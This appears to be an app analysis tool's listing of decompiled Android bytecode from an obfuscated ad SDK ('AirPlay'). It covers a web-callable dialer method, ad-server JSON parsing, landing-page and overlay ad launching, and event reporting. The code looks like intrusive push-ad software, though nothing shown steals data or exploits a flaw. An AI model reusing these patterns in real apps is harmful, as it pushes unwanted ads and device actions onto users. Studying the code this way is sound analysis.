  • com.vxjxu.jkhfn1870.MraidView.access$100
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.MraidView.triggerErrorEvent
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.net.Uri.parse
  • android.content.Intent.<init>
  • android.content.Intent.addFlags
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • android.content.Context.startActivity
  • com.vxjxu.jkhfn1870.MraidView.sendEventData
  • com.vxjxu.jkhfn1870.MraidView.canFetchAd
  • com.vxjxu.jkhfn1870.MraidView.triggerErrorEvent
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • android.content.ActivityNotFoundException.getMessage
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.e
  • com.vxjxu.jkhfn1870.MraidView.sendEventData
Strings
  • AirplayMraid
  • Showing dialer.....
  • showDialer
  • Phone numer is null.
  • tel:
  • android.intent.action.DIAL
  • 97
  • Error occurred while dialing number.
  • Error whlie displaying push ad......:
  • 89
Position Instruction Meta Information
0.param p1, "phoneNumber" # Ljava/lang/String;
1.annotation runtime Landroid/webkit/JavascriptInterface;
2.end annotation
3.prologue
5const-string v3, "AirplayMraid"
7const-string v4, "Showing dialer....."
9invoke-static {v3, v4}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Showing dialer.....
10try_start_7:
11iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
13invoke-static {v3}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
14move-result-object v3
15if-eqz v3, :cond_18
17iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
19invoke-static {v3}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;
20move-result-object v3
22invoke-interface {v3}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onAdClickListener()V
23cond_18: if-eqz p1, :cond_22
25const-string v3, ""
27invoke-virtual {p1, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
28move-result v3
29if-eqz v3, :cond_2c
30cond_22:
31iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
33const-string v4, "showDialer"
35const-string v5, "Phone numer is null."
37invoke-virtual {v3, v4, v5}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: showDialer
    • p1: Phone numer is null.
38goto_2b: return-void
39cond_2c: new-instance v3, Ljava/lang/StringBuilder;
41invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
43const-string v4, "tel:"
45invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: tel:
46move-result-object v3
48invoke-virtual {v3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
49move-result-object v3
51invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
52move-result-object v3
54invoke-static {v3}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
55move-result-object v2
56new-instance v1, Landroid/content/Intent;
58const-string v3, "android.intent.action.DIAL"
60invoke-direct {v1, v3, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V
  • Data flow analysis:
    • p0: android.intent.action.DIAL
61const/high16 v3, 0x10000000
63invoke-virtual {v1, v3}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 268435456
64const/high16 v3, 0x800000
66invoke-virtual {v1, v3}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 8388608
68iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
70invoke-virtual {v3}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
71move-result-object v3
73invoke-virtual {v3, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
75iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
77const-string v4, "97"
79invoke-virtual {v3, v4}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 97
80goto_64:
81iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
82const/4 v4, 0x1
84invoke-virtual {v3, v4}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V
  • Data flow analysis:
    • p0: 1
85goto/16 :goto_2b
86catch_6b: move-exception v0
88iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
90const-string v4, "showDialer"
92const-string v5, "Error occurred while dialing number."
94invoke-virtual {v3, v4, v5}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: showDialer
    • p1: Error occurred while dialing number.
96const-string v3, "AirplayMraid"
97new-instance v4, Ljava/lang/StringBuilder;
99invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
101const-string v5, "Error whlie displaying push ad......: "
103invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Error whlie displaying push ad......:
104move-result-object v4
106invoke-virtual {v0}, Landroid/content/ActivityNotFoundException;->getMessage()Ljava/lang/String;
107move-result-object v5
109invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
110move-result-object v4
112invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
113move-result-object v4
115invoke-static {v3, v4}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
117iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
119const-string v4, "89"
121invoke-virtual {v3, v4}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 89
122goto/16 :goto_64
Cross References
APIs
  • java.lang.Object.<init>
  • org.json.JSONObject.getInt
  • org.json.JSONObject.getString
  • org.json.JSONObject.isNull
  • java.lang.String.equalsIgnoreCase
  • org.json.JSONObject.getString
  • org.json.JSONObject.<init>
  • org.json.JSONObject.isNull
  • org.json.JSONObject.getBoolean
  • org.json.JSONObject.getString
  • org.json.JSONObject.getInt
  • org.json.JSONObject.getString
  • org.json.JSONObject.getInt
  • org.json.JSONObject.getString
  • java.io.IOException.<init>
Strings
  • status
  • message
  • error
  • Success
  • data
  • guid
  • url
  • refreshtime
  • impurl
  • istag
  • tag
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.param p2, "jsonObject" # Lorg/json/JSONObject;
2.annotation system Ldalvik/annotation/Throws;
3value = {
4Lorg/json/JSONException;,
5Ljava/lang/Exception;
6}
7.end annotation
8.prologue
9const/4 v7, 0x1
10const/4 v6, 0x0
12invoke-direct {p0}, Ljava/lang/Object;-><init>()V
14const-string v5, "status"
16invoke-virtual {p2, v5}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: status
17move-result v4
19const-string v5, "message"
21invoke-virtual {p2, v5}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: message
22move-result-object v3
24const-string v5, "error"
26invoke-virtual {p2, v5}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: error
27move-result v5
28if-eqz v5, :cond_82
29move v5, v6
30goto_1a: iput-boolean v5, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isErrorReporting:Z
31const/16 v5, 0xc8
32if-ne v4, v5, :cond_d6
34const-string v5, "Success"
36invoke-virtual {v3, v5}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: Success
37move-result v5
38if-eqz v5, :cond_d6
40const-string v5, "data"
42invoke-virtual {p2, v5}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: data
43move-result-object v0
44new-instance v1, Lorg/json/JSONObject;
46invoke-direct {v1, v0}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
48const-string v5, "guid"
50invoke-virtual {v1, v5}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: guid
51move-result v5
52if-eqz v5, :cond_89
54const-string v5, ""
55goto_3d: iput-object v5, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->guid:Ljava/lang/String;
57const-string v5, "url"
59invoke-virtual {v1, v5}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: url
60move-result v5
61if-eqz v5, :cond_90
63const-string v5, ""
64goto_49: iput-object v5, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->ad_url:Ljava/lang/String;
66const-string v5, "refreshtime"
68invoke-virtual {v1, v5}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: refreshtime
69move-result v5
70if-eqz v5, :cond_97
71const/16 v5, 0x2d
72goto_55: iput v5, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->refreshTime:I
74const-string v5, "impurl"
76invoke-virtual {v1, v5}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: impurl
77move-result v5
78if-eqz v5, :cond_9e
80const-string v5, ""
81goto_61: iput-object v5, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->impression_url:Ljava/lang/String;
83const-string v5, "istag"
85invoke-virtual {v1, v5}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: istag
86move-result v5
87if-eqz v5, :cond_a5
88move v2, v6
89goto_6c: packed-switch v2, :pswitch_data_dc
90iput-boolean v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isJsAd:Z
91iput-boolean v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isHtmlAd:Z
92iput-boolean v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isInlineScript:Z
93goto_75:
94const-string v5, "tag"
96invoke-virtual {v1, v5}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: tag
97move-result v5
98if-eqz v5, :cond_cf
100const-string v5, ""
101goto_7f: iput-object v5, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->tag:Ljava/lang/String;
102return-void
103cond_82:
104const-string v5, "error"
106invoke-virtual {p2, v5}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: error
107move-result v5
108goto/16 :goto_1a
109cond_89:
110const-string v5, "guid"
112invoke-virtual {v1, v5}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: guid
113move-result-object v5
114goto/16 :goto_3d
115cond_90:
116const-string v5, "url"
118invoke-virtual {v1, v5}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: url
119move-result-object v5
120goto/16 :goto_49
121cond_97:
122const-string v5, "refreshtime"
124invoke-virtual {v1, v5}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: refreshtime
125move-result v5
126goto/16 :goto_55
127cond_9e:
128const-string v5, "impurl"
130invoke-virtual {v1, v5}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: impurl
131move-result-object v5
132goto/16 :goto_61
133cond_a5:
134const-string v5, "istag"
136invoke-virtual {v1, v5}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: istag
137move-result v2
138goto/16 :goto_6c
139pswitch_ac: iput-boolean v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isJsAd:Z
140iput-boolean v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isHtmlAd:Z
141iput-boolean v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isInlineScript:Z
142goto/16 :goto_75
143pswitch_b3: iput-boolean v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isJsAd:Z
144iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isHtmlAd:Z
145iput-boolean v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isInlineScript:Z
146goto/16 :goto_75
147pswitch_ba: iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isJsAd:Z
148iput-boolean v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isHtmlAd:Z
149iput-boolean v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isInlineScript:Z
150goto/16 :goto_75
151pswitch_c1: iput-boolean v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isJsAd:Z
152iput-boolean v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isHtmlAd:Z
153iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isInlineScript:Z
154goto/16 :goto_75
155pswitch_c8: iput-boolean v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isJsAd:Z
156iput-boolean v6, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isHtmlAd:Z
157iput-boolean v7, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isInlineScript:Z
158goto/16 :goto_75
159cond_cf:
160const-string v5, "tag"
162invoke-virtual {v1, v5}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: tag
163move-result-object v5
164goto/16 :goto_7f
165cond_d6: new-instance v5, Ljava/io/IOException;
167invoke-direct {v5, v3}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
168throw v5
Cross References
APIs
  • org.json.JSONObject.<init>
  • org.json.JSONObject.isNull
  • java.lang.String.equals
  • org.json.JSONObject.isNull
  • java.lang.String.equals
  • android.content.Intent.<init>
  • android.content.Intent.setAction
  • android.content.Intent.setFlags
  • android.content.Intent.addFlags
  • android.content.Intent.putExtra
  • android.app.Activity.startActivity
  • org.json.JSONObject.getInt
  • org.json.JSONObject.getString
  • android.util.Log.e
Strings
  • invalid
  • status
  • message
  • Success
  • url
  • lpad
  • adtype
  • FP
  • AirplaySDK
  • Required SmartWallActivity not found in Manifest. Please add.
  • Error in LandingPage json:
  • Error in LandingPage response:
Position Instruction Meta Information
0.param p1, "json" # Ljava/lang/String;
1.prologue
2const/16 v7, 0xc8
3if-eqz p1, :cond_69
4try_start_4:
5const-string v2, "invalid"
6new-instance v3, Lorg/json/JSONObject;
8invoke-direct {v3, p1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
10const-string v8, "status"
12invoke-virtual {v3, v8}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: status
13move-result v8
14if-eqz v8, :cond_6a
15move v5, v7
16goto_14:
17const-string v8, "message"
19invoke-virtual {v3, v8}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: message
20move-result v8
21if-eqz v8, :cond_71
22move-object v4, v2
23goto_1d: if-ne v5, v7, :cond_91
25const-string v7, "Success"
27invoke-virtual {v4, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: Success
28move-result v7
29if-eqz v7, :cond_91
31const-string v7, "url"
33invoke-virtual {v3, v7}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: url
34move-result v7
35if-eqz v7, :cond_78
36move-object v6, v2
37goto_30:
38invoke-virtual {v6, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: invalid
39move-result v7
40if-nez v7, :cond_69
42sget-object v7, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
44invoke-static {v7}, Lcom/vxjxu/jkhfn1870/SetPreferences;->setNextAdCallTime(Landroid/content/Context;)Z
45new-instance v1, Landroid/content/Intent;
47sget-object v7, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
48const-class v8, Lcom/vxjxu/jkhfn1870/SmartWallActivity;
50invoke-direct {v1, v7, v8}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
52const-string v7, "lpad"
54invoke-virtual {v1, v7}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: lpad
55const/high16 v7, 0x10000000
57invoke-virtual {v1, v7}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • p0: 268435456
58const/high16 v7, 0x20000000
60invoke-virtual {v1, v7}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 536870912
61const/high16 v7, 0x800000
63invoke-virtual {v1, v7}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 8388608
65const-string v7, "adtype"
67const-string v8, "FP"
69invoke-virtual {v1, v7, v8}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: adtype
    • p1: FP
71const-string v7, "url"
73invoke-virtual {v1, v7, v6}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: url
    • p1: invalid
74try_start_64:
75sget-object v7, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
77invoke-virtual {v7, v1}, Landroid/app/Activity;->startActivity(Landroid/content/Intent;)V
78cond_69: return-void
79cond_6a:
80const-string v8, "status"
82invoke-virtual {v3, v8}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: status
83move-result v5
84goto/16 :goto_14
85cond_71:
86const-string v8, "message"
88invoke-virtual {v3, v8}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: message
89move-result-object v4
90goto/16 :goto_1d
91cond_78:
92const-string v7, "url"
94invoke-virtual {v3, v7}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: url
95move-result-object v6
96goto/16 :goto_30
97catch_7f: move-exception v0
99const-string v7, "AirplaySDK"
101const-string v8, "Required SmartWallActivity not found in Manifest. Please add."
103invoke-static {v7, v8}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Required SmartWallActivity not found in Manifest. Please add.
104try_end_87: goto/16 :goto_69
105catch_88: move-exception v0
107const-string v7, "AirplaySDK"
109const-string v8, "Error in LandingPage json: "
111invoke-static {v7, v8, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Error in LandingPage json:
112goto/16 :goto_69
113try_start_91:
114invoke-static {v5, v4}, Lcom/vxjxu/jkhfn1870/AirPlay;->validateStatusCode(ILjava/lang/String;)V
115try_end_94: goto/16 :goto_69
116catch_95: move-exception v0
118const-string v7, "AirplaySDK"
120const-string v8, "Error in LandingPage response: "
122invoke-static {v7, v8, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Error in LandingPage response:
123goto/16 :goto_69
124catch_9e: move-exception v7
125goto/16 :goto_69
APIs
  • android.webkit.WebViewClient.onPageFinished
  • com.vxjxu.jkhfn1870.OverlayAd.access$300
  • android.util.Log.i
  • com.vxjxu.jkhfn1870.OverlayAd.dismiss
  • com.vxjxu.jkhfn1870.OverlayAd.access$400
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.OverlayAd.access$400
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.OverlayAd.access$400
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.OverlayAd.sendEventData
  • java.lang.Exception.printStackTrace
  • android.app.Activity.finish
  • com.vxjxu.jkhfn1870.OverlayAd.show
  • com.vxjxu.jkhfn1870.OverlayAd.access$400
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.OverlayAd.access$400
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.OverlayAd.access$400
  • java.lang.String.equals
  • com.vxjxu.jkhfn1870.OverlayAd.sendEventData
Strings
  • AirplaySDK
  • Error in loading
  • DAU
  • DCC
  • DCM
  • 184
  • 183
  • 43
  • 23
Position Instruction Meta Information
0.param p1, "view" # Landroid/webkit/WebView;
1.param p2, "url" # Ljava/lang/String;
2.prologue
4invoke-super {p0, p1, p2}, Landroid/webkit/WebViewClient;->onPageFinished(Landroid/webkit/WebView;Ljava/lang/String;)V
5try_start_3:
6iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
8invoke-static {v1}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$300(Lcom/vxjxu/jkhfn1870/OverlayAd;)Z
9move-result v1
10if-eqz v1, :cond_57
12const-string v1, "AirplaySDK"
14const-string v2, "Error in loading"
16invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Error in loading
18iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
20invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/OverlayAd;->dismiss()V
22invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$400()Ljava/lang/String;
23move-result-object v1
25const-string v2, "DAU"
27invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: DAU
28move-result v1
29if-nez v1, :cond_3b
31invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$400()Ljava/lang/String;
32move-result-object v1
34const-string v2, "DCC"
36invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: DCC
37move-result v1
38if-nez v1, :cond_3b
40invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$400()Ljava/lang/String;
41move-result-object v1
43const-string v2, "DCM"
45invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: DCM
46move-result v1
47if-eqz v1, :cond_43
48cond_3b:
49iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
51const-string v2, "184"
53invoke-virtual {v1, v2}, Lcom/vxjxu/jkhfn1870/OverlayAd;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 184
54cond_42: return-void
55cond_43:
56iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
58const-string v2, "183"
60invoke-virtual {v1, v2}, Lcom/vxjxu/jkhfn1870/OverlayAd;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 183
61try_end_4a: goto/16 :goto_42
62catch_4b: move-exception v0
64invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
66iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
68iget-object v1, v1, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity;
70invoke-virtual {v1}, Landroid/app/Activity;->finish()V
71goto/16 :goto_42
72try_start_57:
73iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
75invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/OverlayAd;->show()V
77invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$400()Ljava/lang/String;
78move-result-object v1
80const-string v2, "DAU"
82invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: DAU
83move-result v1
84if-nez v1, :cond_80
86invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$400()Ljava/lang/String;
87move-result-object v1
89const-string v2, "DCC"
91invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: DCC
92move-result v1
93if-nez v1, :cond_80
95invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$400()Ljava/lang/String;
96move-result-object v1
98const-string v2, "DCM"
100invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: DCM
101move-result v1
102if-eqz v1, :cond_91
103cond_80:
104iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
106const-string v2, "43"
108invoke-virtual {v1, v2}, Lcom/vxjxu/jkhfn1870/OverlayAd;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 43
109goto_87:
110sget-object v1, Lcom/vxjxu/jkhfn1870/AirPlay;->adCallbackListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener;
111if-eqz v1, :cond_42
113sget-object v1, Lcom/vxjxu/jkhfn1870/AirPlay;->adCallbackListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener;
115invoke-interface {v1}, Lcom/vxjxu/jkhfn1870/AdCallbackListener;->onSmartWallAdShowing()V
116goto/16 :goto_42
117cond_91:
118iget-object v1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
120const-string v2, "23"
122invoke-virtual {v1, v2}, Lcom/vxjxu/jkhfn1870/OverlayAd;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 23
123try_end_98: goto/16 :goto_87
Cross References
APIs
  • java.text.SimpleDateFormat.<init>
  • java.text.SimpleDateFormat.parse
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.PrintStream.println
  • java.text.SimpleDateFormat.<init>
  • java.text.SimpleDateFormat.format
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.text.SimpleDateFormat.<init>
  • java.text.SimpleDateFormat.parse
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.PrintStream.println
  • java.text.SimpleDateFormat.<init>
  • java.text.SimpleDateFormat.format
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • yyyy-MM-dd
  • dt:
  • yyyyMMdd\'T\'HHmmss\'Z\'
  • ,
Position Instruction Meta Information
0.param p1, "any" # [Ljava/lang/String;
1.annotation system Ldalvik/annotation/Throws;
2value = {
3Ljava/lang/Exception;
4}
5.end annotation
6.prologue
8const-string v0, ""
9const/4 v5, 0x0
10goto_3: array-length v6, p1
11if-ge v5, v6, :cond_96
12if-nez v5, :cond_4e
13new-instance v2, Ljava/text/SimpleDateFormat;
15const-string v6, "yyyy-MM-dd"
17invoke-direct {v2, v6}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: yyyy-MM-dd
18aget-object v6, p1, v5
20invoke-virtual {v2, v6}, Ljava/text/SimpleDateFormat;->parse(Ljava/lang/String;)Ljava/util/Date;
21move-result-object v1
23sget-object v6, Ljava/lang/System;->out:Ljava/io/PrintStream;
24new-instance v7, Ljava/lang/StringBuilder;
26invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
28const-string v8, "dt: "
30invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: dt:
31move-result-object v7
